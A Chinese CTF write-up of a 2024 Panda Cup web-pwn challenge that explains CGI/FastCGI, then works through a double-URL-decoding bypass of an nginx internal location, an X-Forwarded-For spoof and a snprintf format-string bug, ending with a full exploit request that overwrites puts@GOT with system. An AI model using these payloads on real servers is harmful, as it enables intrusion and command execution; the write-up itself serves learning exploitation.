WEBPWN-初探

前言

在好几次接触到webpwn的一直没去复现,打完熊猫杯就准备以这个为基础开始复现

0x00 2024年熊猫杯

这道题给了一个docker环境

检查一下保护

发现只有简单的保护

image-20240708130348560

前置知识

CGI

CGI,全称是Common Gateway Interface(通用网关接口),是一种标准,用于定义Web服务器与外部应用程序(通常称为CGI脚本)之间的交互方式。CGI脚本可以用多种编程语言编写,如C、C++、Perl、Python、PHP等。组成CGI通信系统的是两部分:一部分是html页面,就是在用户端浏览器上显示的页面。另一部分则是运行在服务器上的Cgi程序。它们之间的通讯方式如下图:

img

服务器和客户端之间的通信,是客户端的浏览器和服务器端的http服务器之间的HTTP通信,我们只需要知道浏览器请求执行服务器上哪个CGI程序就可以了,其他不必深究细节,因为这些过程不需要程序员去操作。

服务器和CGI程序之间的通讯才是我们关注的。一般情况下,服务器和CGI程序之间是通过标准输入输出来进行数据传递的,而这个过程需要环境变量的协作方可实现。

1. 服务器将URL指向一个应用程序

2. 服务器为应用程序执行做准备

3. 应用程序执行,读取标准输入和有关环境变量

4. 应用程序进行标准输出

对于Windows系统而言,还可以通过profile文件进行数据传输(如ini文件),但在这里不做研究。环境变量在CGI中有着重要的地位!每个CGI程序只能处理一个用户请求,所以在激活一个CGI程序进程时也创建了属于该进程的环境变量。

对于CGI程序来说,它继承了系统的环境变量。CGI环境变量在CGI程序启动时初始化,在结束时销毁。

CGI的环境变量

当一个CGI程序不是被HTTP服务器调用时,它的环境变量几乎是系统环境变量的复制。当这个CGI程序被HTTP服务器调用时,它的环境变量就会多了以下关于HTTP服务器、客户端、CGI传输过程等项目。

img

img

img

POST和GET

REQUEST_METHOD:它的值一般包括两种:POST和GET,但我们写CGI程序时,最后还要考虑其他的情况。

1.POST方法
如果采用POST方法,那么客户端来的用户数据将存放在CGI进程的标准输入中,同时将用户数据的长度赋予环境变量中的CONTENT_LENGTH。客户端用POST方式发送数据有一个相应的MIME类型(通用Internet邮件扩充服务:Multi-purpose Internet Mail Extensions)。目前,MIME类型一般是:application/x-wwww-form-urlencoded,该类型表示数据来自HTML表单。该类型记录在环境变量CONTENT_TYPE中,CGI程序应该检查该变量的值。

2.GET方法
在该方法下,CGI程序无法直接从服务器的标准输入中获取数据,因为服务器把它从标准输入接收到得数据编码到环境变量QUERY_STRING(或PATH_INFO)。

GET与POST的区别:采用GET方法提交HTML表单数据的时候,客户机将把这些数据附加到由ACTION标记命名的URL的末尾,用一个包括把经过URL编码后的信息与CGI程序的名字分开:

1
http://www.mycorp.com/hello.html?name=hgq$id=1

QUERY_STRING的值为name=hgq&id=1

有些程序员不愿意采用GET方法,因为在他们看来,把动态信息附加在URL的末尾有违URL的出发点:URL作为一种标准用语,一般是用作网络资源的唯一定位标示。

环境变量是一个保存用户信息的内存区。当客户端的用户通过浏览器发出CGI请求时,服务器就寻找本地的相应CGI程序并执行它。在执行CGI程序的同时,服务器把该用户的信息保存到环境变量里。接下来,CGI程序的执行流程是这样的:查询与该CGI程序进程相应的环境变量:第一步是request_method,如果是POST,就从环境变量的len,然后到该进程相应的标准输入取出len长的数据。如果是GET,则用户数据就在环境变量的QUERY_STRING里。

3.POST与GET的区别
以 GET 方式接收的数据是有长度限制,而用 POST 方式接收的数据是没有长度限制的。并且,以 GET 方式发送数据,可以通过URL 的形式来发送,但 POST方式发送的数据必须要通过 Form 才到发送。

FastCGI 是对传统 CGI(Common Gateway Interface)的扩展和改进,旨在克服 CGI 的性能和扩展性问题。以下是 FastCGI 的功能、工作原理以及与 CGI 的区别:

FastCGI 的功能

  1. 持久化进程
    • FastCGI 保持应用程序进程在内存中持久运行,而不是为每个请求创建一个新的进程。这大大减少了进程创建和销毁的开销。
  2. 高效的请求处理
    • FastCGI 可以同时处理多个请求,支持并发连接,从而提高了服务器的吞吐量和响应速度。
  3. 语言无关
    • FastCGI 不依赖于特定的编程语言,可以与多种编程语言(如 PHP、Python、Perl、Ruby 等)配合使用。
  4. 分布式架构
    • FastCGI 支持在多个服务器之间分布应用程序,可以实现负载均衡和高可用性。

FastCGI 配置示例

以 Nginx 配置 PHP-FPM(PHP FastCGI Process Manager)为例,展示如何配置 FastCGI:

安装 PHP-FPM

首先,需要确保安装了 PHP-FPM。可以通过以下命令安装:

1
sudo apt-get install php-fpm
配置 Nginx

在 Nginx 配置文件中配置 FastCGI:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
server {
listen 80;
server_name example.com;

root /var/www/html;
index index.php index.html index.htm;

location / {
try_files $uri $uri/ =404;
}

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.4-fpm.sock;
}

location ~ /\.ht {
deny all;
}
}
  • include snippets/fastcgi-php.conf;:包含 FastCGI 的基本配置。
  • fastcgi_pass unix:/run/php/php7.4-fpm.sock;:指定 FastCGI 进程的监听地址,这里使用 Unix 套接字。

调试环境

由于这个是在nignx的环境下去运行的,并且给了dockerfile,于是我们只需要去在docker中安装gdb,然后再patch一下http文件(要调试的文件),然后在main函数前下个断点,等成功attach后再跳转到main函数入口点,这里感谢一下EX给的建议

dockerfile

在dockerdfile中下载gdb环境

1
2
3
4
5
# for debug

RUN apt-get install -y net-tools vim openssh-server netcat curl gdb git
COPY ./peda /root/peda
RUN echo "source /root/peda/peda.py" >> /root/.gdbinit

patch elf

在调试的时候,需要在文件的开头进行patch,形成一个死循环,否则没时间patch上去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
.text:00000000004017DE                 endbr64
.text:00000000004017E2 push rbp
.text:00000000004017E3 mov rbp, rsp
.text:00000000004017E6 sub rsp, 0C0h
.text:00000000004017ED mov rax, fs:28h
.text:00000000004017F6 mov [rbp+var_8], rax
.text:00000000004017FA xor eax, eax
.text:00000000004017FC lea rax, aRequestMethod ; "REQUEST_METHOD"
.text:0000000000401803 mov rdi, rax ; name
.text:0000000000401806 call _getenv
.text:000000000040180B mov [rbp+s], rax
.text:0000000000401812 lea rax, aQueryString ; "QUERY_STRING"
.text:0000000000401819 mov rdi, rax ; name
.text:000000000040181C call _getenv
.text:0000000000401821 mov [rbp+var_A8], rax
.text:0000000000401828 lea rax, aScriptName ; "SCRIPT_NAME"
.text:000000000040182F mov rdi, rax ; name
.text:0000000000401832 call _getenv
.text:0000000000401837 mov [rbp+haystack], rax
.text:000000000040183E cmp [rbp+s], 0
.text:0000000000401846 jnz short loc_401884
.text:0000000000401848 cmp [rbp+haystack], 0
.text:0000000000401850 jnz short loc_401884
.text:0000000000401852 lea rax, aContentTypeTex ; "Content-type: text/html\n\n"
.text:0000000000401859 mov rdi, rax ; format
.text:000000000040185C mov eax, 0
.text:0000000000401861 call _printf
.text:0000000000401866 lea rax, aHtmlBody403For ; "<html><body>403 FORBIDDEN</body></html>"...
.text:000000000040186D mov rdi, rax ; format
.text:0000000000401870 mov eax, 0
.text:0000000000401875 call _printf
.text:000000000040187A mov eax, 0FFFFFFFFh
.text:000000000040187F jmp loc_401D3D

这是一段main函数的代码,我们可以选择patch其中的跳转汇编,例如这里的

1
jnz     short loc_401884

这段代码是用于在判断是否满足情况下的跳转,也就是满足情况需要跳转,我们可以把他patch成jmp $,也就是跳转到自己,形成一个死循环。

用ida的edit->patch program->Assembly来patch。

这里只是介绍一直死循环的方式,大家也可以自己去找合适的patch,jmp $是两个字节的,大家对应修改即可。

调试

调试的时候直接用下面的脚本去调试

1
2
3
set $rip=dest_addr
b addr
c

直接设置$ip到对应的正常执行流程,然后在要调试的地方下断点,执行过去就行了

分析

配置文件check(FastCGI)

在配置文件中有这样的检查,只有内部才能访问/cgi-bin/note_handler,并且如果/cgi-bin/开头的话,访问/cgi-bin/note_handler就会报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
location /cgi-bin/note_handler {
internal;
proxy_set_header X-Forwarded-For 127.0.0.1;
proxy_pass http://127.0.0.1;
}

location /cgi-bin/ {
if ($uri = "/cgi-bin/note_handler") {
return 403;
}
expires +1h;
limit_rate 10k;
root /usr/share;
fastcgi_pass unix:/var/run/fcgiwrap.socket;
fastcgi_index /cgi-bin/http;
include /etc/nginx/fastcgi_params;
#fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param SCRIPT_FILENAME $document_root/cgi-bin/http;
}

然后在访问/get_flag路由的时候,重定向到了/tmp/flag,只需要用这个路由即可读取/tmp/flag的数据

1
2
3
4
location /get_flag {
alias /tmp/flag;
default_type text/plain;
}

main函数的处理字符串

获取环境变量
1
2
3
4
v15 = __readfsqword(0x28u);
REQUEST_METHOD = getenv("REQUEST_METHOD");
QUERY_STRING = getenv("QUERY_STRING");
SCRIPT_NAME = getenv("SCRIPT_NAME");

这里通过getenv函数获取CGI环境变量REQUEST_METHODQUERY_STRINGSCRIPT_NAME

检查环境变量
1
2
3
if (!REQUEST_METHOD && !SCRIPT_NAME)
goto LABEL_3;
if (strlen(REQUEST_METHOD) <= 0x80 && strlen(SCRIPT_NAME) <= 0x80)

检查REQUEST_METHODSCRIPT_NAME是否存在,并且它们的长度是否小于128(0x80)字节。

处理非法文件名
1
2
3
4
5
6
if (strstr(SCRIPT_NAME, ".."))
{
printf("Content-type: text/html\n\n");
printf("<html><title>403 FORBIDDEN</title><body>Illegal filename.</body></html>\n");
return 0xFFFFFFFFLL;
}

如果SCRIPT_NAME中包含“..”,表示可能存在目录遍历攻击,返回403 Forbidden错误。

处理查询字符串过长
1
2
3
4
5
6
else if (QUERY_STRING && strlen(QUERY_STRING) > 0x80)
{
printf("Content-type: text/html\n\n");
printf("<html><title>403 FORBIDDEN</title><body>Path too long.</body></html>\n");
return 0xFFFFFFFFLL;
}

如果QUERY_STRING存在且长度大于128字节,返回403 Forbidden错误。

主处理函数

X-Forwarded-For check

在传递的参数里面有个限制,X-Forwarded-For必须为127.0.0.1。于是我们在传递参数的时候加上“X-Forwarded-For: 127.0.0.1\r\n”即可

image-20240708142802476

URL check

并且对URL也进行了检查,URL的开头必须为/cgi-bin/note_handler

image-20240708143841363

URL解码绕过

然后我们发现在验证长度后对script_ name进行了URL解码,也就是会解码两次,于是我们就能绕过前面说的配置文件的检查了,我们只需要在前面验证的时候,验证解码前的数据,也就是我们需要在第一次在fastCGI验证的时候传递/cgi-bin/note_handle%72(r),然后解码后就是正常的/cgi-bin/note_handler了,也就绕过了

image-20240708143646902

处理QUERY_STRING

在处理查询语句的时候发现action和content的分割符是”&”,action里面的分割符号是”,”,于是知道了查询语句的组成"action=act1,act2,act3&content=conten"

image-20240708144823081

image-20240708144812161

这里在分析content的时候发现snprintf的用法出现了错误

image-20240708144728395

标准用法应该是

1
snprintf(dest,maxlen,format,....)

但是这里的我们的输入到了format去了,于是我们能控制format数据了,也就是格式化字符串漏洞

利用

利用思路

现在已经能够成功找到格式化字符串漏洞了,我们现在只需要找到对应的偏移,然后改写puts函数的got表为system即可

因为在printf路由中,会打印一段数据,这段数据来源是dest11。

image-20240709104556133

然后发现dest11的来源是add函数的数据,也就是a1到了dest,然后dest地址给了的dest11

image-20240709104659090

然后add函数的参数也就是我们输入的数据部分,于是我们需要的将flag复制给/tmp/flag在这里输入给字符串即可

image-20240709104800090

格式化字符串任意写

然后经过测试,我发现往v14输入的数据最多为0x23,然后我puts的got表的地址为0x404028,也是只需要三位,于是我们前面0x20可以写要执行的命令,最后三位写got表的地址,最后效果如下

image-20240709105636624

于是测试出来的偏移就为14,需要写入的数据为0x4011E0

然后格式化字符串利用脚本就为

1
%30$c%30$c%30$c%30$c%30$c%136c%14$hhn

exp

最后总的脚本为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def exploit():
li('exploit...')
code = 'cp /start.sh /tmp/flag'
code = code + ';'
code = code.ljust(30, 'a') + ';'

request = "GET /cgi-bin/note_handle%2572?action=add,print,get_flag&content={}\(@@%30$c%30$c%30$c%30$c%30$c%136c%14$hhn HTTP/1.1\r\n".format(code)
request += "Host: 127.0.0.1\r\n"
request += "Cache-Control: max-age=0\r\n"
request += "Upgrade-Insecure-Requests: 1\r\n"
request += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36\r\n"
request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\r\n"
request += "X-Forwarded-For: 127.0.0.1\r\n"
request += "Accept-Encoding: gzip, deflate\r\n"
request += "Accept-Language: zh-CN,zh;q=0.9\r\n"
request += "If-Modified-Since: Mon, 08 Jul 2024 04:01:37 GMT\r\n"
request += "Connection: close\r\n"
request += "\r\n"


db()
li("request -------------->\n%s"%request)
s(request.encode())
response = r(0x2000)
print(response.decode())